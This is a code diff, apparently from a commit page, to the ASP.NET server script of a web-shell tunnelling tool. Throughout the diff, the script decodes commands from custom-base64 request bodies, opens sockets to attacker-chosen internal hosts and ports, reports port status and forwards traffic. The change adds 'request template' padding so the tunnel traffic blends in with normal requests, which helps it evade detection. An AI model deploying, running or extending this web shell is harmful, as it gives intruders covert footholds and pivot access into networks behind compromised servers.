|
113 | 113 |
|
114 | 114 | String en = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
115 | 115 | String de = "BASE64 CHARSLIST";
|
| 116 | +
|
| 117 | + String requestDataHead = ""; |
| 118 | + String requestDataTail = ""; |
116 | 119 |
|
117 | 120 | if (Request.ContentLength != -1) {
|
118 | 121 | byte[] buff = new byte[Request.ContentLength];
|
119 | 122 | Request.InputStream.Read(buff, 0, buff.Length);
|
120 |
| - string b64 = StrTr(Encoding.Default.GetString(buff), de, en); |
| 123 | + String inputData = Encoding.Default.GetString(buff); |
| 124 | +
|
| 125 | + if (USE_REQUEST_TEMPLATE == 1 && inputData.Length > 0) { |
| 126 | + requestDataHead = inputData.Substring(0, START_INDEX); |
| 127 | + requestDataTail = inputData.Substring(inputData.Length - END_INDEX, END_INDEX); |
| 128 | +
|
| 129 | + inputData = inputData.Substring(START_INDEX); |
| 130 | + inputData = inputData.Substring(0, inputData.Length - END_INDEX); |
| 131 | + } |
| 132 | + string b64 = StrTr(inputData, de, en); |
121 | 133 | byte[] data = Convert.FromBase64String(b64);
|
122 | 134 | info = blv_decode(data);
|
123 | 135 | }
|
|
134 | 146 | } catch (Exception e){}
|
135 | 147 | }
|
136 | 148 |
|
137 |
| - try{ |
138 |
| - Stream body = request.GetRequestStream(); |
139 |
| - info[REDIRECTURL] = null; |
140 |
| - byte[] data = Encoding.Default.GetBytes(StrTr(Convert.ToBase64String(blv_encode(info)), en, de)); |
141 |
| - body.Write(data, 0, data.Length); |
142 |
| - body.Close(); |
143 |
| - } catch (Exception e){} |
144 |
| -
|
145 |
| - HttpWebResponse response = (HttpWebResponse)request.GetResponse(); |
146 |
| - WebHeaderCollection webHeader = response.Headers; |
147 |
| - for (int i=0;i < webHeader.Count; i++) |
148 |
| - { |
149 |
| - string rkey = webHeader.GetKey(i); |
150 |
| - if (rkey != "Content-Length" && rkey != "Transfer-Encoding") |
151 |
| - Response.AddHeader(rkey, webHeader[i]); |
152 |
| - } |
| 149 | + try{ |
| 150 | + Stream body = request.GetRequestStream(); |
| 151 | + info[REDIRECTURL] = null; |
| 152 | + byte[] data = Encoding.Default.GetBytes( requestDataHead + StrTr(Convert.ToBase64String(blv_encode(info)), en, de) + requestDataTail ); |
| 153 | + body.Write(data, 0, data.Length); |
| 154 | + body.Close(); |
| 155 | + } catch (Exception e){} |
153 | 156 |
|
154 |
| - StreamReader repBody = new StreamReader(response.GetResponseStream(), Encoding.GetEncoding("UTF-8")); |
155 |
| - string rbody = repBody.ReadToEnd(); |
156 |
| - Response.AddHeader("Content-Length", rbody.Length.ToString()); |
157 |
| - Response.Write(rbody); |
158 |
| - return; |
| 157 | + HttpWebResponse response = (HttpWebResponse)request.GetResponse(); |
| 158 | + WebHeaderCollection webHeader = response.Headers; |
| 159 | + for (int i=0;i < webHeader.Count; i++) |
| 160 | + { |
| 161 | + string rkey = webHeader.GetKey(i); |
| 162 | + if (rkey != "Content-Length" && rkey != "Transfer-Encoding") |
| 163 | + Response.AddHeader(rkey, webHeader[i]); |
159 | 164 | }
|
160 | 165 |
|
161 |
| - Response.StatusCode = HTTPCODE; |
162 |
| - String cmd = (String) info[CMD]; |
163 |
| - if (cmd != null) { |
164 |
| - String mark = (String) info[MARK]; |
165 |
| - if (cmd == "CONNECT") { |
| 166 | + StreamReader repBody = new StreamReader(response.GetResponseStream(), Encoding.GetEncoding("UTF-8")); |
| 167 | + string rbody = repBody.ReadToEnd(); |
| 168 | + Response.AddHeader("Content-Length", rbody.Length.ToString()); |
| 169 | + Response.Write(rbody); |
| 170 | + return; |
| 171 | +} |
| 172 | +
|
| 173 | +Response.StatusCode = HTTPCODE; |
| 174 | +String cmd = (String) info[CMD]; |
| 175 | +if (cmd != null) { |
| 176 | + String mark = (String) info[MARK]; |
| 177 | + if (cmd == "CONNECT") { |
| 178 | + try { |
| 179 | + String target = (String) info[IP]; |
| 180 | + int port = int.Parse((String) info[PORT]); |
| 181 | + IPAddress ip; |
166 | 182 | try {
|
167 |
| - String target = (String) info[IP]; |
168 |
| - int port = int.Parse((String) info[PORT]); |
169 |
| - IPAddress ip; |
170 |
| - try { |
171 |
| - ip = IPAddress.Parse(target); |
172 |
| - } catch (Exception ex) { |
173 |
| - IPHostEntry host = Dns.GetHostByName(target); |
174 |
| - ip = host.AddressList[0]; |
175 |
| - } |
176 |
| - System.Net.IPEndPoint remoteEP = new IPEndPoint(ip, port); |
177 |
| - Socket sender = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); |
| 183 | + ip = IPAddress.Parse(target); |
| 184 | + } catch (Exception ex) { |
| 185 | + IPHostEntry host = Dns.GetHostByName(target); |
| 186 | + ip = host.AddressList[0]; |
| 187 | + } |
| 188 | + System.Net.IPEndPoint remoteEP = new IPEndPoint(ip, port); |
| 189 | + Socket sender = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); |
178 | 190 |
|
179 |
| - // set the connect timeout to 2 seconds, default 20 seconds |
180 |
| - IAsyncResult result = sender.BeginConnect(remoteEP,null,null); |
181 |
| - bool success = result.AsyncWaitHandle.WaitOne( 2000, true ); |
| 191 | + // set the connect timeout to 2 seconds, default 20 seconds |
| 192 | + IAsyncResult result = sender.BeginConnect(remoteEP,null,null); |
| 193 | + bool success = result.AsyncWaitHandle.WaitOne( 2000, true ); |
182 | 194 |
|
183 |
| - if ( sender.Connected ) { |
184 |
| - sender.Blocking = false; |
185 |
| - Application.Add(mark, sender); |
186 |
| - rinfo[STATUS] = "OK"; |
| 195 | + if ( sender.Connected ) { |
| 196 | + sender.Blocking = false; |
| 197 | + Application.Add(mark, sender); |
| 198 | + rinfo[STATUS] = "OK"; |
| 199 | + } else { |
| 200 | + sender.Close(); |
| 201 | + rinfo[STATUS] = "FAIL"; |
| 202 | + if ( success ) { |
| 203 | + rinfo[ERROR] = "Port close"; |
187 | 204 | } else {
|
188 |
| - sender.Close(); |
189 |
| - rinfo[STATUS] = "FAIL"; |
190 |
| - if ( success ) { |
191 |
| - rinfo[ERROR] = "Port close"; |
192 |
| - } else { |
193 |
| - rinfo[ERROR] = "Port filtered"; |
194 |
| - } |
| 205 | + rinfo[ERROR] = "Port filtered"; |
195 | 206 | }
|
196 |
| - } catch (Exception ex) { |
197 |
| - rinfo[STATUS] = "FAIL"; |
198 |
| - rinfo[ERROR] = ex.Message; |
199 | 207 | }
|
200 |
| - } else if (cmd == "DISCONNECT") { |
201 |
| - try { |
202 |
| - Socket s = (Socket)Application[mark]; |
203 |
| - s.Close(); |
204 |
| - } catch (Exception ex){ |
205 |
| - } |
206 |
| - Application.Remove(mark); |
| 208 | + } catch (Exception ex) { |
| 209 | + rinfo[STATUS] = "FAIL"; |
| 210 | + rinfo[ERROR] = ex.Message; |
| 211 | + } |
| 212 | + } else if (cmd == "DISCONNECT") { |
| 213 | + try { |
| 214 | + Socket s = (Socket)Application[mark]; |
| 215 | + s.Close(); |
| 216 | + } catch (Exception ex){ |
| 217 | + } |
| 218 | + Application.Remove(mark); |
207 | 219 | } else if (cmd == "FORWARD") {
|
208 | 220 | Socket s = (Socket)Application[mark];
|
209 | 221 | try {
|
|
0 commit comments